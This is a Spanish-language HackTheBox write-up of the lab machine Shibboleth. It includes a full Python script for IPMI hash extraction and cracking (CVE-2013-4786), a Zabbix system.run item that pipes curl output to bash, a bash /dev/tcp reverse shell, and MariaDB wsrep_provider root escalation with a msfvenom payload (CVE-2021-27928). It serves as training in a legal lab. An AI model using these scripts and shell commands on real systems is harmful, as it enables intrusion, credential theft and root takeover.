Home Hackthebox Writeup Shibboleth
Post
Cancel

Hackthebox Writeup Shibboleth

Empezamos enumerando por el protocolo TCP y por detrás del servidor web solo encontramos un sistema de monitorización de redes Sabbix. Enumerando por el protocolo UDP y por medio de un script básico para reconocimiento de nmap ipmi-cipher-zero logramos comprobar que el servicio que corre por ese puerto tiene una vulnerabilidad que nos permite extraer contraseñas hash de usuarios (CVE-2013-4786) y crackearlos por fuerza bruta. Ya dentro del sistema sabbix como administrador, logramos por medio de un item crear una key para aplicar Remote Code Execution (RCE) y obtener un shell. Para la escalada encontramos credenciales de base de datos en un archivo de configuración de sabbix, luego gracias a poseer una versión desactualizada del Relational database management system (RDBMS) MariaDB podemos crear un payload con msfvenom para asignarla a una variable vulnerable del gestor de base de datos que se ejecuta como root (CVE-2021-27928) y así obtener la shell privilegiada.


Shibboleth

OSIPRelease DateDifficultyPoints
Linux10.10.11.12413 Nov 2021Medium30

Antes de empezar la máquina verificamos si tenemos conexión con ella, para ello usamos el comando ping:

Ping

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Sistema Operativo por aprox. del TTL (Time To Live) : 64 -> Linux | 128 -> Windows

Enumeration


Empezamos escanenado puertos TCP abiertos con la herramienta nmap:

Nmap

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

--open : Escanear solo puertos abiertos

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-v : Imprimir información del proceso del escaneo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-oG <file> : Guardar output en un archivo (<file>) de formato grepable

Observamos que la máquina solo tiene el puerto 80 (http) abierto, así que procedemos a escanearlo a profundidad:

Target

Explicación de parámetros :

-p<port_1,port_2,...> : Indicamos que puertos queremos escanear

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

No disponemos de mucha información, pero como es un servicio http procedemos a ejecutar whatweb para ver un poco mas de información y en pararelo abrirla en el navegador:

WW

Obervamos un código de estado HTTP 302 Moved Temporally que realiza lo siguiente:

302

En nuestro caso la locación de /temp-doc es shibboleth.htb:

HTTP

Teniendo en cuenta el dominio encontrado (Virtual Hosting), procedemos a agregarlo nuestro archivo /etc/hosts: echo "10.10.11.124 shibboleth.htb" >> /etc/hosts

Ahora podemos utilizar un script de nmap --script http-enum para buscar directorios básicos antes de tirar con gobuster dir. Pero desde ya te digo que no encontraremos nada interesante y que sea de ayuda.

Por ello, empezamos con un escaneo de subdominios con gobuster vhost:

Subdomains

Explicación de parámetros :

-u <url> : Especificar objetivo URL

-w <wordlist> : Especificar <wordlist> para el escaneo de subdominios

-r : Aplicar redireccionamiento (302_code)

Aplicando lo mismo de antes con estos subdominios : echo "10.10.11.124 monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb" >> /etc/hosts

También nos podemos dar cuenta que los 3 tienen el mismo tamaño, lo cúal conlleva a que pueden ser lo mismo, y sí, estamos en lo correcto:

Zabbix

Primero debemos saber que es Zabbix, y al buscar encontramos que es un Sistema de Monitorización de Redes creado por Alexei Vladishev

Toqueteando el panel de logeo, nos damos cuenta que hay una referencia a la documentación de Zabbix 5.0, y al entrar observamos que no es la versión actual Zabbix 6.0. Entonces es probable que existan vulnerabilidades, pero después de buscar un buen tiempo no encontramos nada que nos sirva

En esta situación procedemos a buscar puertos abiertos por el protocolo UDP:

UDP

Explicación de parámetros :

--open : Escanear solo puertos abiertos

-sU : Escaneo por el protocolo UDP

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-n : No aplicar descubrimiento de hosts

Encontramos el puerto 623 (asf-rmcp) y buscando en internet encontramos que es un Protocolo de gestión remota. Además existe el servicio Intelligent Platform Management Interface (IPMI) que tiene varios vectores de ataque

Para comprobar si es vulnerable podemos usar metasploit o un script de nmap ipmi-cipher-zero, puede encontrar mas información el la biblia de los hackers: Hacktricks

En mi caso usaré el script de nmap:

IPMI

Explicacíon de parámetros :

-sU : Escaneo por el protocolo UDP

--script <script_name> : Aplicar un script en específico de nmap

-p <port> : Expecificar puerto a escanear

Foothold


Observamos que es vulnerable el servicio Intelligent Platform Management Interface IPMI 2.0 y para ello existe una vulnerabilidad que nos permite autenticarnos con cualquier usuario y extraer contraseñas hash de usuarios (CVE-2013-4786)

Para ello podemos usar metasploit pero a manera de prácticar hice un script en python con algunas referencias para conseguir un usuario existente, extraer su token y crackearlo con john:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/python3

import signal, sys, os, time, nmap, pdb, shlex, subprocess, re
from colorama import Fore, init

# reset to dafault color
init(autoreset=True)

# colors
red, yellow, magenta, green = Fore.RED, Fore.YELLOW, Fore.MAGENTA, Fore.GREEN 

# help
def help_panel():
    print(f"\n{magenta}[*] Use : {yellow}{sys.argv[0]} <target> <password_wordlist>")
    sys.exit()

if len(sys.argv) != 3: help_panel() 

def signal_handler(signum, frame):
    print("\nSignum : {} , Frame : {}".format(signum, frame))
    print("\n{red}[!] Exiting...")
    exit(1)

#ctrl + c
signal.signal(signal.SIGINT, signal_handler)

# check connection
def checkConnection(target, port):
    print(f"\n{yellow}[+] Checking if port {magenta}{port} {yellow}is open...")
    time.sleep(2)
    scanning = nmap.PortScanner()
    result = scanning.scan(target, port, arguments='-sU')
    if result['scan'] == {} or result['scan'][target]['udp'][int(port)]['state'] == 'closed':
        print(f"\n{red}[-] Port {magenta}{port} {red}is closed!")
        sys.exit()

# check parameters
def checkParameters(target, port, user, wordlist):
    print(f"\n{yellow}[+] Using a list of {magenta}users {yellow}by default...")
    time.sleep(1)
    if wordlist:
        if not os.path.isfile(wordlist):
            print(f"\n{red}[!] The password wordlist {magenta}{wordlist} {red}is invalid ***")
            sys.exit()

# extract user hash
def getUserHash(target, port, user):
    i = 0
    for u in user:
        output = subprocess.run(shlex.split(f"ipmitool -I lanplus -H {target} -U {u} -P password -vvv 2>&1"), capture_output=True)
        stderr, stdout = output.stderr.decode(), output.stdout.decode()
    
        if 'illegal parameter' in stderr or 'unauthorized name' in stderr:
            print(f"{red}[!] Wrong username {magenta}{u} {red}***")
            i+=1
            pass
        else:
            print(f"\n{yellow}[+] The username {magenta}{u} {yellow}is {green}valid{yellow}...")
            time.sleep(2)
            break
        
        if 'insuficient resources for session' in stderr: 
            print(f"\n{red}[!] Insuficient resources for session! ***"); sys.exit()
   
    user = user[i]
    # extract data to salt
    data = re.findall(r"rakp2 mac input buffer \(.*\)\s+(?: .*?\n)+\>\> rakp2 mac key", stderr)[0]
    data = re.sub(f"rakp2 mac input buffer \(.*\)\n", "", data).replace("\n>> rakp2 mac key", "").replace("\n", "").split(" ")
    salt = ''.join(data)

    # extract hash
    user_hash = re.findall(r"Key exchange auth code \[sha1\] : (.*?)\n?$", stdout)[0].replace("0x", "")
    final_hash = f"$rakp${salt}${user_hash}"
    
    print(f"\n{yellow}[+] The hash for user {magenta}{user}: {green}{final_hash}")
    # load hash
    hash_file = 'hash'
    with open(hash_file, "w") as f:
        f.write(f"{target} {user}:{final_hash}")
        f.close
    return hash_file

# cracking hash with jhon
def cracking(wordlist, hash_file):
    time.sleep(2)
    print(f"\n{yellow}[+] Cracking hash with {magenta}John {yellow}tool...")
    time.sleep(2)
    subprocess.run(shlex.split(f"john --wordlist={wordlist} \"{hash_file}\""))

def run():
    if os.getuid() != 0:
        print("\n[*]{yellow} You must be {red}root {yellow}to run the script!")
        sys.exit() 
    # asign variables
    target = sys.argv[1]
    port = 623
    user = ["ADMIN", "admin", "Administrator", "root", "USERID", "guest", "Admin"]
    wordlist = sys.argv[2]

    checkConnection(target, str(port))
    checkParameters(target, port, user, wordlist)
    
    if user:
        hash_file = getUserHash(target, port, user)
        cracking(wordlist, hash_file)

# main
if __name__ == '__main__':
    run()

No olvide instalar antes los requerimientos para el script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

# valdiate user to run
if [ "$(id -u)" -ne 0 ]; then
	echo "\n[*] You must be root to run the script!"
	exit
fi

# ctrl + c
function ctrl_c(){
	tput cnorm
	echo -e "\n[-] Exiting..."
	exit
}

trap ctrl_c SIGINT

#requirements
tput civis
echo -ne "\n[+] Installing requirements:\n"
apt-get install ipmitool nmap python3-pip -y
echo -ne "\n[+] Installing python3 requirements:\n"
pip install colorama python-nmap
echo -ne "\n\n[*] All requirements have been installed\n"; tput cnorm

EXPLOIT

Pueden encontrar los archivos del script en mi repositorio: https://github.com/E1P0TR0

Ahora nos logemos con las credenciales obtenidas y nos encontramos con el panel de administración de Zabbix:

Panel_Admin

Revisando la documentación de la versión encontramos que podemos añadir items al host que estamos monitoreando shibboleth.htb, y buscando para que sirven encontramos algo interesante:

Items_Zabbix

Para extraer cierta información se hace uso de una key, la cuál es como un nombre de una función en particular que podemos usar. Al igual que esta hay otras más que vienen pre-definidas en el agente Zabbix: Pre-defined keys

Buscamos una que nos ayuder a ejecutar comandos para tener una brecha de una reverse shell y entrar al sistema, al final logramos encontrarla:

Item_system_run

Ahora que sabemos que podemos ejecutar comandos en el host, procedemos a aplicar la reverse_shell:

Reverse shell con curl :

Creamos un archivo index.html con una reverse en bash:

1
2
3
#!/bin/bash
 
bash -i >& /dev/tcp/{nuestra\_IP}/{puerto} 0>&1

Con python3 y en el mismo directorio compartimos un servidor http : python3 -m http.server 80

En paralelo con nc nos ponemos en escucha para recibir la shell: nc -lvp {puerto}

Nos dirigimos al apartado para agregar un item (Configuration -> Hosts -> items -> Create item) y agregamos un nombre cualquiera y en el apartado del agente seleccionas la key system.run[command, <mode>] pero de la siguiente manera: system.run[curl http://{nuestra_IP} | bash, nowait]

System_run

Presionamos el botón _Test_, luego _Get value_ y recibiremos la shell como zabbix:

Foothold

Ahora para manejarnos mejor por consola hacemos un tratamiento rápido de la TTY:

TTY TTY

Buscamos que usuarios existen, intentamos ver la flag pero necesitamos ser el usuario ipmi-svc, probamos reusar las credenciales del login de Zabbix y pa-dentro:

FLAG

Privilege Escalation


Como el usuario ipmi-svc intentamos listar binarios con permisos SUID find \-perm -4000 2>/dev/null y binarios que podamos ejecutar como root sudo -l, pero no encontramos nada interesante

Sabemos que tenemos un agente Zabbix, así que intentamos buscar archivos de configuración de podemos leer y conseguimos unas credenciales de una base de dat os:

DB_ZABBIX

También podemos hacer uso de LinPEAS que nos permite encontrar posibles rutas para escalar privilegios: LinPEAS

Ingresamos con las credenciales, intentamos buscar información que nos sirva pero no encontramos nada. Pero al observar la versión del Sistema de gestión de bases de datos relacionales (RDBMS) MariaDB 10.3.25 y buscando en internet que la versión actual es MariaDB 10.7.3 nos da la sensasión que puede ser vulnerable:

MariaDB

Buscando en internet encontramos una vulnerabilidad en la cuál la variable wsrep_provider pueden ser modificadas en tiempo de ejecución por el usuario de la base de datos zabbix pero con privilegios de SUPER usuario y con ello facilmente obtener una shell como root (CVE-2021-27928):

CVE-2021-27928

  • 1. Creamos un payload malicioso (reverse shell) con msfvenom

MSFVENOM_REV

Explicación de parámetros :

-p <payload> : Especificar el payload a crear de acuerdo a tus requerimientos

LHOST=<host> : Asignar el host que recibirá la reverse shell

LPORT=<port> : Asignar el puero por el cuál recibiremos la reverse shell

-f <format> : Formato del output del payload

-o <file_name> : Guardar el payload en un archivo

  • 2. Compartimos el payload a la máquina víctima (10.10.11.124) en un directorio con permisos (/tmp)

  • 3. En nuestra máquina nos ponemos en escucha por el puerto especificado en el payload

  • 4. Entramos a la base de datos con el usuario zabbix pero agregamos el parámetro -e para ejecutar comandos, asignar a la variable wsrep_provides nuestro payload malicioso, y ya que lo ejecutamos como SUPER usuario, recibir la shell en nuestra máquina y con ello ser root y pa-dentro:

ROOT


This post is licensed under CC BY 4.0 by the author.